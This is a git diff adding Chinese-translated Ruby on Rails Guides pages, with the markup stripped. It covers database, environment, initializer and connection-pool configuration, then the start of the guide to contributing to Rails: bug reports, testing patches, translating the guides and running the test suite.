如果选择使用 PostgreSQL,config/database.yml 文件会针对 PostgreSQL 数据库定制:

+
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: blog_development
+  pool: 5
+
+
+
+

PostgreSQL 默认启用预处理语句(prepared statement)。若想禁用,把 prepared_statements 设为 false

+
+production:
+  adapter: postgresql
+  prepared_statements: false
+
+
+
+

如果启用,Active Record 默认最多为一个数据库连接创建 1000 个预处理语句。若想修改,可以把 statement_limit 设定为其他值:

+
+production:
+  adapter: postgresql
+  statement_limit: 200
+
+
+
+

预处理语句的数量越多,数据库消耗的内存越多。如果 PostgreSQL 数据库触及内存上限,尝试降低 statement_limit 的值,或者禁用预处理语句。

3.15.4 为 JRuby 平台配置 SQLite3 数据库

如果选择在 JRuby 中使用 SQLite3,config/database.yml 文件的内容稍有不同。下面是 development 部分:

+
+development:
+  adapter: jdbcsqlite3
+  database: db/development.sqlite3
+
+
+
+

3.15.5 为 JRuby 平台配置 MySQL 或 MariaDB 数据库

如果选择在 JRuby 中使用 MySQL 或 MariaDB,config/database.yml 文件的内容稍有不同。下面是 development 部分:

+
+development:
+  adapter: jdbcmysql
+  database: blog_development
+  username: root
+  password:
+
+
+
+

3.15.6 为 JRuby 平台配置 PostgreSQL 数据库

如果选择在 JRuby 中使用 PostgreSQL,config/database.yml 文件的内容稍有不同。下面是 development 部分:

+
+development:
+  adapter: jdbcpostgresql
+  encoding: unicode
+  database: blog_development
+  username: blog
+  password:
+
+
+
+

请根据需要修改 development 部分的用户名和密码。

3.16 创建 Rails 环境

Rails 默认提供三个环境:开发环境、测试环境和生产环境。多数情况下,这就够用了,但有时可能需要更多环境。

比如说想要一个服务器,镜像生产环境,但是只用于测试。这样的服务器通常称为“交付准备服务器”。如果想为这个服务器创建名为“staging”的环境,只需创建 config/environments/staging.rb 文件。请参照 config/environments 目录中的现有文件,根据需要修改。

自己创建的环境与默认的没有区别,启动服务器使用 rails server -e staging,启动控制台使用 rails console stagingRails.env.staging? 也能正常使用,等等。

3.17 部署到子目录(URL 相对于根路径)

默认情况下,Rails 预期应用在根路径(即 /)上运行。本节说明如何在目录中运行应用。

假设我们想把应用部署到“/app1”。Rails 要知道这个目录,这样才能生成相应的路由:

+
+config.relative_url_root = "/app1"
+
+
+
+

此外,也可以设定 RAILS_RELATIVE_URL_ROOT 环境变量。

现在生成链接时,Rails 会在前面加上“/app1”。

3.17.1 使用 Passenger

使用 Passenger 在子目录中运行应用很简单。相关配置参阅 Passenger 手册

3.17.2 使用反向代理

使用反向代理部署应用比传统方式有明显的优势:对服务器有更好的控制,因为应用所需的组件可以分层。

有很多现代的 Web 服务器可以用作代理服务器,用来均衡第三方服务器,如缓存服务器或应用服务器。

Unicorn 就是这样的应用服务器,在反向代理后面运行。

此时,要配置代理服务器(NGINX、Apache,等等),让它接收来自应用服务器(Unicorn)的连接。Unicorn 默认监听 8080 端口上的 TCP 连接,不过可以更换端口,或者换用套接字。

详情参阅 Unicorn 的自述文件,还可以了解背后的哲学

配置好应用服务器之后,还要相应配置 Web 服务器,把请求代理过去。例如,NGINX 的配置可能包含:

+
+upstream application_server {
+  server 0.0.0.0:8080
+}
+
+server {
+  listen 80;
+  server_name localhost;
+
+  root /root/path/to/your_app/public;
+
+  try_files $uri/index.html $uri.html @app;
+
+  location @app {
+    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+    proxy_set_header Host $http_host;
+    proxy_redirect off;
+    proxy_pass http://application_server;
+  }
+
+  # 其他配置
+}
+
+
+
+

最新的信息参阅 NGINX 的文档

4 Rails 环境设置

Rails 的某些部分还可以通过环境变量在外部配置。Rails 能识别下述几个环境变量:

+
    +
  • ENV["RAILS_ENV"] 定义在哪个环境(生产环境、开发环境、测试环境,等等)中运行 Rails。
  • +
  • ENV["RAILS_RELATIVE_URL_ROOT"]部署到子目录中时供路由代码识别 URL。
  • +
  • ENV["RAILS_CACHE_ID"]ENV["RAILS_APP_VERSION"] 供 Rails 的缓存代码生成扩张的缓存键。这样可以在同一个应用中使用多个单独的缓存。
  • +
+

5 使用初始化脚本文件

加载完框架和应用依赖的 gem 之后,Rails 开始加载初始化脚本。初始化脚本是 Ruby 文件,存储在应用的 config/initializers 目录中。可以在初始化脚本中存放应该于加载完框架和 gem 之后设定的配置,例如配置各部分的设置项目的选项。

如果愿意,可以使用子文件夹组织初始化脚本,Rails 会自上而下查找整个文件夹层次结构。

如果初始化脚本有顺序要求,可以通过名称控制加载顺序。初始化脚本文件按照路径的字母表顺序加载。例如,01_critical.rb02_normal.rb 前面加载。

6 初始化事件

Rails 有 5 个初始化事件(按运行顺序列出):

+
    +
  • before_configuration:在应用常量继承 Rails::Application 时立即运行。config 调用在此之前执行。
  • +
  • before_initialize:直接在应用初始化过程之前运行,与 Rails 初始化过程靠近开头的 :bootstrap_hook 初始化脚本一起运行。
  • +
  • to_prepare:在所有 Railtie(包括应用自身)的初始化脚本运行结束之后、及早加载和构架中间件栈之前运行。更重要的是,在开发环境中每次请求都运行,而在生产和测试环境只运行一次(在启动过程中)。
  • +
  • before_eager_load:在及早加载之前直接运行。这是生产环境的默认行为,开发环境则不然。
  • +
  • after_initialize:在应用初始化之后、config/initializers 中的初始化脚本都运行完毕后直接运行。
  • +
+

若想为这些钩子定义事件,在 Rails::ApplicationRails::RailtieRails::Engine 子类中使用块句法:

+
+module YourApp
+  class Application < Rails::Application
+    config.before_initialize do
+      # 在这编写初始化代码
+    end
+  end
+end
+
+
+
+

此外,还可以通过 Rails.application 对象的 config 方法定义:

+
+Rails.application.config.before_initialize do
+  # 在这编写初始化代码
+end
+
+
+
+

调用 after_initialize 块时,应用的某些部分,尤其是路由,尚不可用。

6.1 Rails::Railtie#initializer +

有几个在启动时运行的 Rails 初始化脚本使用 Rails::Railtie 对象的 initializer 方法定义。下面以 Action Controller 中的 set_helpers_path 初始化脚本为例:

+
+initializer "action_controller.set_helpers_path" do |app|
+  ActionController::Helpers.helpers_path = app.helpers_paths
+end
+
+
+
+

initializer 方法接受三个参数,第一个是初始化脚本的名称,第二个是选项散列(上例中没有),第三个是一个块。选项散列的 :before 键指定在哪个初始化脚本之前运行,:after 键指定在哪个初始化脚本之后运行。

initializer 方法定义的初始化脚本按照定义的顺序运行,除非指定了 :before:after 键。

只要符合逻辑,可以设定一个初始化脚本在另一个之前或之后运行。假如有四个初始化脚本,名称分别为“one”到“four”(按照这个顺序定义)。如果定义“four”在“four”之前、“three”之后运行就不合逻辑,Rails 无法确定初始化脚本的执行顺序。

initializer 方法的块参数是应用自身的实例,因此可以像示例中那样使用 config 方法访问配置。

因为 Rails::Application(间接)继承自 Rails::Railtie,所以可以在 config/application.rb 文件中使用 initializer 方法为应用定义初始化脚本。

6.2 初始化脚本

下面按定义顺序(因此以此顺序运行,除非另行说明)列出 Rails 中的全部初始化脚本:

+
    +
  • load_environment_hook:一个占位符,让 :load_environment_config 在此之前运行。
  • +
  • load_active_support:引入 active_support/dependencies,设置 Active Support 的基本功能。如果 config.active_support.bare 为假值(默认),引入 active_support/all
  • +
  • initialize_logger:初始化应用的日志记录器(一个 ActiveSupport::Logger 对象),可通过 Rails.logger 访问。假定在此之前的初始化脚本没有定义 Rails.logger
  • +
  • initialize_cache:如果没有设置 Rails.cache,使用 config.cache_store 的值初始化缓存,把结果存储为 Rails.cache。如果这个对象响应 middleware 方法,它的中间件插入 Rack::Runtime 之前。
  • +
  • set_clear_dependencies_hook:这个初始化脚本(仅当 cache_classes 设为 false 时运行)使用 ActionDispatch::Callbacks.after 从对象空间中删除请求过程中引用的常量,以便在后续请求中重新加载。
  • +
  • initialize_dependency_mechanism:如果 config.cache_classes 为真,配置 ActiveSupport::Dependencies.mechanism 使用 require 引入依赖,而不使用 load
  • +
  • bootstrap_hook:运行配置的全部 before_initialize 块。
  • +
  • i18n.callbacks:在开发环境中设置一个 to_prepare 回调,如果自上次请求后本地化有变,调用 I18n.reload!。在生产环境,这个回调只在第一次请求时运行。
  • +
  • active_support.deprecation_behavior:设定各个环境报告弃用的方式,在开发环境中默认为 :log,在生产环境中默认为 :notify,在测试环境中默认为 :stderr。如果没为 config.active_support.deprecation 设定一个值,这个初始化脚本提示用户在当前环境的配置文件(config/environments 目录里)中设定。可以设为一个数组。
  • +
  • active_support.initialize_time_zone:根据 config.time_zone 设置为应用设定默认的时区。默认为“UTC”。
  • +
  • active_support.initialize_beginning_of_week:根据 config.beginning_of_week 设置为应用设定一周从哪一天开始。默认为 :monday
  • +
  • active_support.set_configs:使用 config.active_support 设置 Active Support,把方法名作为设值方法发给 ActiveSupport,并传入选项的值。
  • +
  • action_dispatch.configure:配置 ActionDispatch::Http::URL.tld_length,设为 config.action_dispatch.tld_length 的值。
  • +
  • action_view.set_configs:使用 config.action_view 设置 Action View,把方法名作为设值方法发给 ActionView::Base,并传入选项的值。
  • +
  • action_controller.assets_config:如果没有明确配置,把 config.actions_controller.assets_dir 设为应用的 public 目录。
  • +
  • action_controller.set_helpers_path:把 Action Controller 的 helpers_path 设为应用的 helpers_path
  • +
  • action_controller.parameters_config:为 ActionController::Parameters 配置健壮参数选项。
  • +
  • action_controller.set_configs:使用 config.action_controller 设置 Action Controller,把方法名作为设值方法发给 ActionController::Base,并传入选项的值。
  • +
  • action_controller.compile_config_methods:初始化指定的配置选项,得到方法,以便快速访问。
  • +
  • active_record.initialize_timezone:把 ActiveRecord::Base.time_zone_aware_attributes 设为 true,并把 ActiveRecord::Base.default_timezone 设为 UTC。从数据库中读取属性时,转换成 Time.zone 指定的时区。
  • +
  • active_record.logger:把 ActiveRecord::Base.logger 设为 Rails.logger(如果还未设定)。
  • +
  • active_record.migration_error:配置中间件,检查待运行的迁移。
  • +
  • active_record.check_schema_cache_dump:如果配置了,而且有缓存,加载模式缓存转储。
  • +
  • active_record.warn_on_records_fetched_greater_than:查询返回大量记录时启用提醒。
  • +
  • active_record.set_configs:使用 config.active_record 设置 Active Record,把方法名作为设值方法发给 ActiveRecord::Base,并传入选项的值。
  • +
  • active_record.initialize_database:从 config/database.yml 中加载数据库配置,并在当前环境中连接数据库。
  • +
  • active_record.log_runtime:引入 ActiveRecord::Railties::ControllerRuntime,把 Active Record 调用的耗时记录到日志中。
  • +
  • active_record.set_reloader_hooks:如果 config.cache_classes 设为 false,还原所有可重新加载的数据库连接。
  • +
  • active_record.add_watchable_files:把 schema.rbstructure.sql 添加到可监视的文件列表中。
  • +
  • active_job.logger:把 ActiveJob::Base.logger 设为 Rails.logger(如果还未设定)。
  • +
  • active_job.set_configs:使用 config.active_job 设置 Active Job,把方法名作为设值方法发给 ActiveJob::Base,并传入选项的值。
  • +
  • action_mailer.logger:把 ActionMailer::Base.logger 设为 Rails.logger(如果还未设定)。
  • +
  • action_mailer.set_configs:使用 config.action_mailer 设定 Action Mailer,把方法名作为设值方法发给 ActionMailer::Base,并传入选项的值。
  • +
  • action_mailer.compile_config_methods:初始化指定的配置选项,得到方法,以便快速访问。
  • +
  • set_load_path:在 bootstrap_hook 之前运行。把 config.load_paths 指定的路径和所有自动加载路径添加到 $LOAD_PATH 中。
  • +
  • set_autoload_paths:在 bootstrap_hook 之前运行。把 app 目录中的所有子目录,以及 config.autoload_pathsconfig.eager_load_pathsconfig.autoload_once_paths 指定的路径添加到 ActiveSupport::Dependencies.autoload_paths 中。
  • +
  • add_routing_paths:加载所有的 config/routes.rb 文件(应用和 Railtie 中的,包括引擎),然后设置应用的路由。
  • +
  • add_locales:把(应用、Railtie 和引擎的)config/locales 目录中的文件添加到 I18n.load_path 中,让那些文件中的翻译可用。
  • +
  • add_view_paths:把应用、Railtie 和引擎的 app/views 目录添加到应用查找视图文件的路径中。
  • +
  • load_environment_config:加载 config/environments 目录中针对当前环境的配置文件。
  • +
  • prepend_helpers_path:把应用、Railtie 和引擎中的 app/helpers 目录添加到应用查找辅助方法的路径中。
  • +
  • load_config_initializers:加载应用、Railtie 和引擎中 config/initializers 目录里的全部 Ruby 文件。这个目录中的文件可用于存放应该在加载完全部框架之后设定的设置。
  • +
  • engines_blank_point:在初始化过程中提供一个点,以便在加载引擎之前做些事情。在这一点之后,运行所有 Railtie 和引擎初始化脚本。
  • +
  • add_generator_templates:寻找应用、Railtie 和引擎中 lib/templates 目录里的生成器模板,把它们添加到 config.generators.templates 设置中,供所有生成器引用。
  • +
  • ensure_autoload_once_paths_as_subset:确保 config.autoload_once_paths 只包含 config.autoload_paths 中的路径。如果有额外路径,抛出异常。
  • +
  • add_to_prepare_blocks:把应用、Railtie 或引擎中的每个 config.to_prepare 调用都添加到 Action Dispatch 的 to_prepare 回调中。这些回调在开发环境中每次请求都运行,在生产环境中只在第一次请求之前运行。
  • +
  • add_builtin_route:如果应用在开发环境中运行,把针对 rails/info/properties 的路由添加到应用的路由中。这个路由在 Rails 应用的 public/index.html 文件中提供一些详细信息,例如 Rails 和 Ruby 的版本。
  • +
  • build_middleware_stack:为应用构建中间件栈,返回一个对象,它有一个 call 方法,参数是请求的 Rack 环境对象。
  • +
  • eager_load!:如果 config.eager_loadtrue,运行 config.before_eager_load 钩子,然后调用 eager_load!,加载全部 config.eager_load_namespaces
  • +
  • finisher_hook:在应用初始化过程结束的位置提供一个钩子,并且运行应用、Railtie 和引擎的所有 config.after_initialize 块。
  • +
  • set_routes_reloader_hook:让 Action Dispatch 使用 ActionDispatch::Callbacks.to_prepare 重新加载路由文件。
  • +
  • disable_dependency_loading:如果 config.eager_loadtrue,禁止自动加载依赖。
  • +
+

7 数据库池

Active Record 数据库连接由 ActiveRecord::ConnectionAdapters::ConnectionPool 管理,确保连接池的线程访问量与有限个数据库连接数同步。这一限制默认为 5,可以在 database.yml 文件中配置。

+
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+
+
+
+

连接池默认在 Active Record 内部处理,因此所有应用服务器(Thin、Puma、Unicorn,等等)的行为应该一致。数据库连接池一开始是空的,随着连接数的增加,会不断创建,直至连接池上限。

每个请求在首次访问数据库时会检出连接,请求结束再检入连接。这样,空出的连接位置就可以提供给队列中的下一个请求使用。

如果连接数超过可用值,Active Record 会阻塞,等待池中有空闲的连接。如果无法获得连接,会抛出类似下面的超时错误。

+
+ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds)
+
+
+
+

如果出现上述错误,可以考虑增加连接池的数量,即在 database.yml 文件中增加 pool 选项的值。

如果是多线程环境,有可能多个线程同时访问多个连接。因此,如果请求量很大,极有可能发生多个线程争夺有限个连接的情况。

8 自定义配置

我们可以通过 Rails 配置对象为自己的代码设定配置。如下所示:

+
+config.payment_processing.schedule = :daily
+config.payment_processing.retries  = 3
+config.super_debugger = true
+
+
+
+

这些配置选项可通过配置对象访问:

+
+Rails.configuration.payment_processing.schedule # => :daily
+Rails.configuration.payment_processing.retries  # => 3
+Rails.configuration.super_debugger              # => true
+Rails.configuration.super_debugger.not_set      # => nil
+
+
+
+

还可以使用 Rails::Application.config_for 加载整个配置文件:

+
+# config/payment.yml:
+production:
+  environment: production
+  merchant_id: production_merchant_id
+  public_key:  production_public_key
+  private_key: production_private_key
+development:
+  environment: sandbox
+  merchant_id: development_merchant_id
+  public_key:  development_public_key
+  private_key: development_private_key
+
+
+
+
+
+# config/application.rb
+module MyApp
+  class Application < Rails::Application
+    config.payment = config_for(:payment)
+  end
+end
+
+
+
+
+
+Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id
+
+
+
+

9 搜索引擎索引

有时,你可能不想让应用中的某些页面出现在搜索网站中,如 Google、Bing、Yahoo 或 Duck Duck Go。索引网站的机器人首先分析 http://your-site.com/robots.txt 文件,了解允许它索引哪些页面。

Rails 为你创建了这个文件,在 /public 文件夹中。默认情况下,允许搜索引擎索引应用的所有页面。如果不想索引应用的任何页面,使用下述内容:

+
+User-agent: *
+Disallow: /
+
+
+
+

若想禁止索引指定的页面,需要使用更复杂的句法。详情参见官方文档

10 事件型文件系统监控程序

如果加载了 listen gem,而且 config.cache_classesfalse,Rails 使用一个事件型文件系统监控程序监测变化:

+
+group :development do
+  gem 'listen', '>= 3.0.5', '< 3.2'
+end
+
+
+
+

否则,每次请求 Rails 都会遍历应用树,检查有没有变化。

在 Linux 和 macOS 中无需额外的 gem,*BSDWindows 可能需要。

注意,某些设置不支持

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/contributing_to_ruby_on_rails.html b/contributing_to_ruby_on_rails.html new file mode 100644 index 0000000..a5109e1 --- /dev/null +++ b/contributing_to_ruby_on_rails.html @@ -0,0 +1,636 @@ + + + + + + + +为 Ruby on Rails 做贡献 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

为 Ruby on Rails 做贡献

本文介绍几种参与 Ruby on Rails 开发的方式。

读完本文后,您将学到:

+
    +
  • 如何使用 GitHub 报告问题;
  • +
  • 如何克隆 master,运行测试组件;
  • +
  • 如何帮助解决现有问题;
  • +
  • 如何为 Ruby on Rails 文档做贡献;
  • +
  • 如何为 Ruby on Rails 代码做贡献。
  • +
+

Ruby on Rails 不是某一个人的框架。这些年,有成百上千个人为 Ruby on Rails 做贡献,小到修正一个字符,大到调整重要的架构或文档——目的都是把 Ruby on Rails 变得更好,适合所有人使用。即便你现在不想编写代码或文档,也能通过其他方式做贡献,例如报告问题和测试补丁。

Rails 的自述文件说道,参与 Rails 及其子项目代码基开发的人,参与问题追踪系统、聊天室和邮件列表的人,都要遵守 Rails 的行为准则

+ + + +
+
+ +
+
+
+

1 报告错误

Ruby on Rails 使用 GitHub 的问题追踪系统追踪问题(主要是解决缺陷和贡献新代码)。如果你发现 Ruby on Rails 有缺陷,首先应该发布到这个系统中。若想提交问题、评论问题或创建拉取请求, 你要注册一个 GitHub 账户(免费)。

Ruby on Rails 最新版的缺陷最受关注。此外,Rails 核心团队始终欢迎能对最新开发版做测试的人反馈。本文后面会说明如何测试最新开发版。

1.1 创建一个缺陷报告

如果你在 Ruby on Rails 中发现一个没有安全风险的问题,在 GitHub 的问题追踪系统中搜索一下,说不定已经有人报告了。如果之前没有人报告,接下来你要创建一个。(报告安全问题的方法参见下一节。)

问题报告应该包含标题,而且要使用简洁的语言描述问题。你应该尽量多提供相关的信息,而且至少要有一个代码示例,演示所述的问题。如果能提供一个单元测试,说明预期行为更好。你的目标是让你自己以及其他人能重现缺陷,找出修正方法。

然后,耐心等待。除非你报告的是紧急问题,会导致世界末日,否则你要等待可能有其他人也遇到同样的问题,与你一起去解决。不要期望你报告的问题能立即得到关注,有人立刻着手解决。像这样报告问题基本上是让自己迈出修正问题的第一步,并且让其他遇到同样问题的人复议。

1.2 创建可执行的测试用例

提供重现问题的方式有助于别人帮你确认、研究并最终解决问题。为此,你可以提供可执行的测试用例。为了简化这一过程,我们准备了几个缺陷报告模板供你参考:

+
    +
  • 报告 Active Record(模型、数据库)问题的模板:gem / master +
  • +
  • 报告 Active Record(迁移)问题的模板:gem / master +
  • +
  • 报告 Action Pack(控制器、路由)问题的模板:gem / master +
  • +
  • 报告 Active Job 问题的模板:gem / master +
  • +
  • 其他问题的通用模板:gem / master +
  • +
+

这些模板包含样板代码,供你着手编写测试用例,分别针对 Rails 的发布版(*_gem.rb)和最新开发版(*_master.rb)。

你只需把相应模板中的内容复制到一个 .rb 文件中,然后做必要的改动,说明问题。如果想运行测试,只需在终端里执行 ruby the_file.rb。如果一切顺利,测试用例应该失败。

随后,可以通过一个 gist 分享你的可执行测试用例,或者直接粘贴到问题描述中。

1.3 特殊对待安全问题

请不要在公开的 GitHub 问题报告中报告安全漏洞。安全问题的报告步骤在 Rails 安全方针页面中有详细说明。

1.4 功能请求怎么办?

请勿在 GitHub 问题追踪系统中请求新功能。如果你想把新功能添加到 Ruby on Rails 中,你要自己编写代码,或者说服他人与你一起编写代码。本文后面会详述如何为 Ruby on Rails 提请补丁。如果在 GitHub 问题追踪系统发布希望含有的功能,但是没有提供代码,在审核阶段会将其标记为“无效”。

有时,很难区分“缺陷”和“功能”。一般来说,功能是为了添加新行为,而缺陷是导致不正确行为的缘由。有时,核心团队会做判断。尽管如此,区别通常影响的是补丁放在哪个发布版中。我们十分欢迎你提交功能!只不过,新功能不会添加到维护分支中。

如果你想在着手打补丁之前征询反馈,请向 rails-core 邮件列表发送电子邮件。你可能得不到回应,这表明大家是中立的。你可能会发现有人对你提议的功能感兴趣;可能会有人说你的提议不可行。但是新想法就应该在那里讨论。GitHub 问题追踪系统不是集中讨论特性请求的正确场所。

2 帮助解决现有问题

除了报告问题之外,你还可以帮助核心团队解决现有问题。如果查看 GitHub 中的问题列表,你会发现很多问题都得到了关注。为此你能做些什么呢?其实,你能做的有很多。

2.1 确认缺陷报告

对新人来说,帮助确认缺陷报告就行了。你能在自己的电脑中重现报告的问题吗?如果能,可以在问题的评论中说你发现了同样的问题。

如果问题描述不清,你能帮忙说得更具体些吗?或许你可以提供额外的信息,帮助重现缺陷,或者去掉说明问题所不需要的步骤。

如果发现缺陷报告中没有测试,你可以贡献一个失败测试。这是学习源码的好机会:查看现有的测试文件能让你学到如何编写更好的测试。新测试最好以补丁的形式提供,详情参阅 为 Rails 代码做贡献

不管你自己写不写代码,只要你能把缺陷报告变得更简洁、更便于重现,就能为尝试修正缺陷的人提供帮助。

2.2 测试补丁

你还可以帮忙检查通过 GitHub 为 Ruby on Rails 提交的拉取请求。在使用别人的改动之前,你要创建一个专门的分支:

+
+$ git checkout -b testing_branch
+
+
+
+

然后可以使用他们的远程分支更新代码基。假如 GitHub 用户 JohnSmith 派生了 Rails 源码,地址是 https://github.com/JohnSmith/rails,然后推送到主题分支“orange”:

+
+$ git remote add JohnSmith https://github.com/JohnSmith/rails.git
+$ git pull JohnSmith orange
+
+
+
+

然后,使用主题分支中的代码做测试。下面是一些考虑的事情:

+
    +
  • 改动可用吗?
  • +
  • 你对测试满意吗?你能理解测试吗?缺少测试吗?
  • +
  • 有适度的文档覆盖度吗?其他地方的文档需要更新吗?
  • +
  • 你喜欢他的实现方式吗?你能以更好或更快的方式实现部分改动吗?
  • +
+

拉取请求中的改动让你满意之后,在 GitHub 问题追踪系统中发表评论,表明你赞成。你的评论应该说你喜欢这个改动,以及你的观点。比如说:

+
+

我喜欢你对 generate_finder_sql 这部分代码的调整,现在更好了。测试也没问题。

+
+

如果你的评论只是说“+1”,其他评审很难严肃对待。你要表明你花时间审查拉取请求了。

3 为 Rails 文档做贡献

Ruby on Rails 主要有两份文档:这份指南,帮你学习 Ruby on Rails;API,作为参考资料。

你可以帮助改进这份 Rails 指南,把它变得更简单、更为一致,也更易于理解。你可以添加缺少的信息、更正错误、修正错别字或者针对最新的 Rails 开发版做更新。

为此,可以向 Rails 项目发送拉取请求。

如果你想为文档做贡献,请阅读API 文档指导方针Ruby on Rails 指南指导方针

为了减轻 CI 服务器的压力,关于文档的提交消息中应该包含 [ci skip],跳过构建步骤。只修改文档的提交一定要这么做。

4 翻译 Rails 指南

我们欢迎人们自发把 Rails 指南翻译成其他语言。翻译时请遵照下述步骤:

+
    +
  • 派生 https://github.com/rails/rails 项目
  • +
  • 为你的语言添加一个文件夹,例如针对意大利语的 guides/source/it-IT
  • +
  • 把 guides/source 中的内容复制到你创建的文件夹中,然后翻译
  • +
  • 不要翻译 HTML 文件,因为那是自动生成的
  • +
+

注意,翻译不提交到 Rails 仓库中。如前所述,翻译在你派生的项目中操作。这么做的原因是,或许只有英语文档适合通过补丁维护。

如果想生成这份指南的 HTML 格式,进入 guides 目录,然后执行(以 it-IT 为例):

+
+$ bundle install
+$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT
+
+
+
+

上述命令在 output 目录中生成这份指南。

上述说明针对 Rails 4 及以上版本。Redcarpet gem 无法在 JRuby 中使用。

已知的翻译成果:

+ +

5 为 Rails 代码做贡献

5.1 搭建开发环境

过了提交缺陷这个初级阶段之后,若想帮助解决现有问题,或者为 Ruby on Rails 贡献自己的代码,必须要能运行测试组件。这一节教你在自己的电脑中搭建测试的环境。

5.1.1 简单方式

搭建开发环境最简单、也是推荐的方式是使用 Rails 开发虚拟机

5.1.2 笨拙方式

如果你不便使用 Rails 开发虚拟机,请阅读安装开发依赖

5.2 克隆 Rails 仓库

若想贡献代码,需要克隆 Rails 仓库:

+
+$ git clone https://github.com/rails/rails.git
+
+
+
+

然后创建一个专门的分支:

+
+$ cd rails
+$ git checkout -b my_new_branch
+
+
+
+

分支的名称无关紧要,因为这个分支只存在于你的本地电脑和你在 GitHub 上的个人仓库中,不会出现在 Rails 的 Git 仓库里。

5.3 bundle install

安装所需的 gem:

+
+$ bundle install
+
+
+
+

5.4 使用本地分支运行应用

如果想使用虚拟的 Rails 应用测试改动,执行 rails new 命令时指定 --dev 旗标,使用本地分支生成一个应用:

+
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+
+
+
+

上述命令使用本地分支在 ~/my-test-app 目录中生成一个应用,重启服务器后便能看到改动的效果。

5.5 编写你的代码

现在可以着手添加和编辑代码了。你处在自己的分支中,可以编写任何你想编写的代码(使用 git branch -a 确定你处于正确的分支中)。不过,如果你打算把你的改动提交到 Rails 中,要注意几点:

+
    +
  • 代码要写得正确。
  • +
  • 使用 Rails 习惯用法和辅助方法。
  • +
  • 包含测试,在没有你的代码时失败,添加之后则通过。
  • +
  • 更新(相应的)文档、别处的示例和指南。只要受你的代码影响,都更新。
  • +
+

装饰性的改动,没有为 Rails 的稳定性、功能或可测试性做出实质改进的改动一般不会接受(关于这一决定的讨论参见这里)。

5.5.1 遵守编程约定

Rails 遵守下述简单的编程风格约定:

+
    +
  • (缩进)使用两个空格,不用制表符。
  • +
  • 行尾没有空白。空行不能有任何空白。
  • +
  • 私有和受保护的方法多一层缩进。
  • +
  • 使用 Ruby 1.9 及以上版本采用的散列句法。使用 { a: :b },而非 { :a => :b }
  • +
  • 较之 and/or,尽量使用 &&/||
  • +
  • 编写类方法时,较之 self.method,尽量使用 class << self
  • +
  • 使用 my_method(my_arg),而非 my_method( my_arg )my_method my_arg
  • +
  • 使用 a = b,而非 a=b
  • +
  • 使用 assert_not 方法,而非 refute
  • +
  • 编写单行块时,较之 method{do_stuff},尽量使用 method { do_stuff }
  • +
  • 遵照源码中在用的其他约定。
  • +
+

以上是指导方针,使用时请灵活应变。

5.6 对你的代码做基准测试

如果你的改动对 Rails 的性能有影响,请对你的代码做基准测试,衡量影响。请把基准测试脚本与结果一起分享出来。应该考虑把这个信息写入提交消息,以便后续开发者验证你的发现,确定是否仍有必要修改。(例如,Ruby VM 最新的优化出来后,以前的优化可能就没必要了。)

针对你所关注的情况做优化十分简单,但是在其他情况下可能导致回归错误。英雌,应该在一些典型的情况下测试你的改动。理想情况下,你应该在从生产应用中抽离出来的真实场景中测试。

你可以从基准测试模板入手,模板中有使用 benchmark-ips gem 的样板代码。这个模板针对相对独立的改动,可以直接放在脚本中。

5.7 运行测试

在推送改动之前,通常不运行整个测试组件。railties 的测试组件所需的时间特别长,如果按照推荐的工作流程,使用 rails-dev-box 把源码挂载到 /vagrant,时间更长。

作为一种折中方案,应该测试明显受到影响的代码;如果不是改动 railties,运行受影响的组件的整个测试组件。如果所有测试都能通过,表明你可以提请你的贡献了。为了捕获别处预料之外的问题,我们配备了 Travis CI,作为一个安全保障。

5.7.1 整个 Rails

运行全部测试:

+
+$ cd rails
+$ bundle exec rake test
+
+
+
+

5.7.2 某个组件

可以只运行某个组件(如 Action Pack)的测试。例如,运行 Action Mailer 的测试:

+
+$ cd actionmailer
+$ bundle exec rake test
+
+
+
+

5.7.3 运行单个测试

可以通过 ruby 运行单个测试。例如:

+
+$ cd actionmailer
+$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout
+
+
+
+

-n 选项指定运行单个方法,而非整个文件。

5.7.4 测试 Active Record

首先,创建所需的数据库。必要的表名、用户名和密码参见 activerecord/test/config.example.yml

对 MySQL 和 PostgreSQL 来说,运行 SQL 语句 create database activerecord_unittestcreate database activerecord_unittest2 就行。SQLite3 无需这一步。

只使用 SQLite3 运行 Active Record 的测试组件:

+
+$ cd activerecord
+$ bundle exec rake test:sqlite3
+
+
+
+

然后分别运行:

+
+test:mysql2
+test:postgresql
+
+
+
+

最后,一次运行前述三个测试:

+
+$ bundle exec rake test
+
+
+
+

也可以单独运行某个测试:

+
+$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb
+
+
+
+

使用全部适配器运行某个测试:

+
+$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb
+
+
+
+

此外,还可以调用 test_jdbcmysqltest_jdbcsqlite3test_jdbcpostgresql。针对其他数据库的测试参见 activerecord/RUNNING_UNIT_TESTS.rdoc 文件,持续集成服务器运行的测试组件参见 ci/travis.rb 文件。

5.8 提醒

运行测试组件的命令启用了提醒。理想情况下,Ruby on Rails 不应该发出提醒,不过你可能会见到一些,其中部分可能来自第三方库。如果看到提醒,请忽略(或修正),然后提交不发出提醒的补丁。

如果确信自己在做什么,想得到干净的输出,可以覆盖这个旗标:

+
+$ RUBYOPT=-W0 bundle exec rake test
+
+
+
+

